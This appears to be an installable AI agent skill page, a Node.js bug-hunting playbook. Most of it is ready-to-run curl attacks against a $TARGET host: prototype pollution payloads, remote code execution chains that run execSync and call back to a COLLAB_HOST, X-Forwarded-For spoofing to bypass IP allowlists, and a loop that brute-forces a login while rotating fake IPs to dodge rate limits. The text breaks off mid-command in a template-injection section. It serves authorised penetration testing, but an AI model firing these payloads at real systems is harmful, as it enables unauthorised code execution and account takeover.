$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-nodejsHunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable
| 1 | # HUNT-NODEJS — Node.js Specific Vulnerabilities |
| 2 | |
| 3 | ## Crown Jewel Targets |
| 4 | |
| 5 | Prototype Pollution reaching a sink in Node.js backend = Critical RCE. |
| 6 | |
| 7 | **Highest-value chains:** |
| 8 | - **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` / `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink |
| 9 | - **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits |
| 10 | - **EJS/Pug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}` |
| 11 | - **`child_process` injection** — user input interpolated into shell command string → OS command injection |
| 12 | - **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS |
| 13 | |
| 14 | --- |
| 15 | |
| 16 | ## Attack Surface Signals |
| 17 | |
| 18 | ``` |
| 19 | X-Powered-By: Express Confirms Express.js |
| 20 | Node.js in error messages Runtime detected |
| 21 | package.json exposed Dependency list + versions |
| 22 | /proc/self/environ accessible Environment variable exfil |
| 23 | Error stack traces with .js paths Node.js confirmed |
| 24 | __proto__ in JSON accepted Prototype pollution candidate |
| 25 | ``` |
| 26 | |
| 27 | --- |
| 28 | |
| 29 | ## Phase 1 — Fingerprint |
| 30 | |
| 31 | ```bash |
| 32 | # Confirm Node.js/Express |
| 33 | curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express" |
| 34 | |
| 35 | # Check for package.json / node_modules exposure |
| 36 | curl -s "https://$TARGET/package.json" |
| 37 | curl -s "https://$TARGET/package-lock.json" |
| 38 | curl -s "https://$TARGET/node_modules/.package-lock.json" |
| 39 | |
| 40 | # Error-based version detection |
| 41 | curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET" |
| 42 | ``` |
| 43 | |
| 44 | --- |
| 45 | |
| 46 | ## Phase 2 — Prototype Pollution Detection |
| 47 | |
| 48 | ```bash |
| 49 | # JSON body injection — test if __proto__ is accepted |
| 50 | curl -s -X POST https://$TARGET/api/merge \ |
| 51 | -H "Content-Type: application/json" \ |
| 52 | -d '{"__proto__": {"polluted": "yes"}}' |
| 53 | |
| 54 | # Constructor prototype |
| 55 | curl -s -X POST https://$TARGET/api/settings \ |
| 56 | -H "Content-Type: application/json" \ |
| 57 | -d '{"constructor": {"prototype": {"isAdmin": true}}}' |
| 58 | |
| 59 | # URL query param injection (qs library) |
| 60 | curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test" |
| 61 | curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1" |
| 62 | |
| 63 | # Confirm pollution: does a subsequent request reflect the polluted key? |
| 64 | curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin" |
| 65 | ``` |
| 66 | |
| 67 | --- |
| 68 | |
| 69 | ## Phase 3 — Prototype Pollution → RCE Chain |
| 70 | |
| 71 | ```bash |
| 72 | # If pollution is confirmed, attempt to reach dangerous sinks |
| 73 | |
| 74 | # Sink 1: child_process via options.shell pollution |
| 75 | curl -s -X POST https://$TARGET/api/update \ |
| 76 | -H "Content-Type: application/json" \ |
| 77 | -d '{ |
| 78 | "__proto__": { |
| 79 | "shell": "node", |
| 80 | "NODE_OPTIONS": "--require /proc/self/fd/0", |
| 81 | "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"} |
| 82 | } |
| 83 | }' |
| 84 | |
| 85 | # Sink 2: lodash template pollution (CVE-2021-23337) |
| 86 | curl -s -X POST https://$TARGET/api/render \ |
| 87 | -H "Content-Type: application/json" \ |
| 88 | -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}' |
| 89 | |
| 90 | # Sink 3: ejs template options pollution |
| 91 | # If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName` |
| 92 | curl -s -X POST https://$TARGET/api/template \ |
| 93 | -H "Content-Type: application/json" \ |
| 94 | -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}' |
| 95 | |
| 96 | # OOB confirmation — check Interactsh for callback |
| 97 | ``` |
| 98 | |
| 99 | --- |
| 100 | |
| 101 | ## Phase 4 — Express Trust Proxy Abuse |
| 102 | |
| 103 | ```bash |
| 104 | # If Express has trust proxy enabled, X-Forwarded-For is trusted |
| 105 | # Test: does spoofed IP bypass IP-based rate limiting or allowlist? |
| 106 | |
| 107 | # Spoof IP to 127.0.0.1 (localhost bypass) |
| 108 | curl -s -X POST https://$TARGET/api/admin/action \ |
| 109 | -H "X-Forwarded-For: 127.0.0.1" \ |
| 110 | -H "Content-Type: application/json" \ |
| 111 | -d '{"action": "test"}' |
| 112 | |
| 113 | # Spoof to internal IP range |
| 114 | curl -s -X POST https://$TARGET/api/internal \ |
| 115 | -H "X-Forwarded-For: 10.0.0.1" \ |
| 116 | -H "X-Real-IP: 10.0.0.1" |
| 117 | |
| 118 | # Rate limit bypass via rotating fake IPs |
| 119 | for i in $(seq 1 50); do |
| 120 | curl -s https://$TARGET/api/login \ |
| 121 | -H "X-Forwarded-For: 1.2.3.$i" \ |
| 122 | -d '{"email":"admin@test.com","password":"wrong"}' \ |
| 123 | -o /dev/null -w "$i: %{http_code}\n" |
| 124 | done |
| 125 | ``` |
| 126 | |
| 127 | --- |
| 128 | |
| 129 | ## Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars) |
| 130 | |
| 131 | ```bash |
| 132 | # EJS SSTI — if user input reaches EJS template context |
| 133 | # Test basic: <%= 7*7 %> should return 49 |
| 134 | curl -s -X POST https://$TARGET/api/render \ |
| 135 | -H "Content-Type: application/js |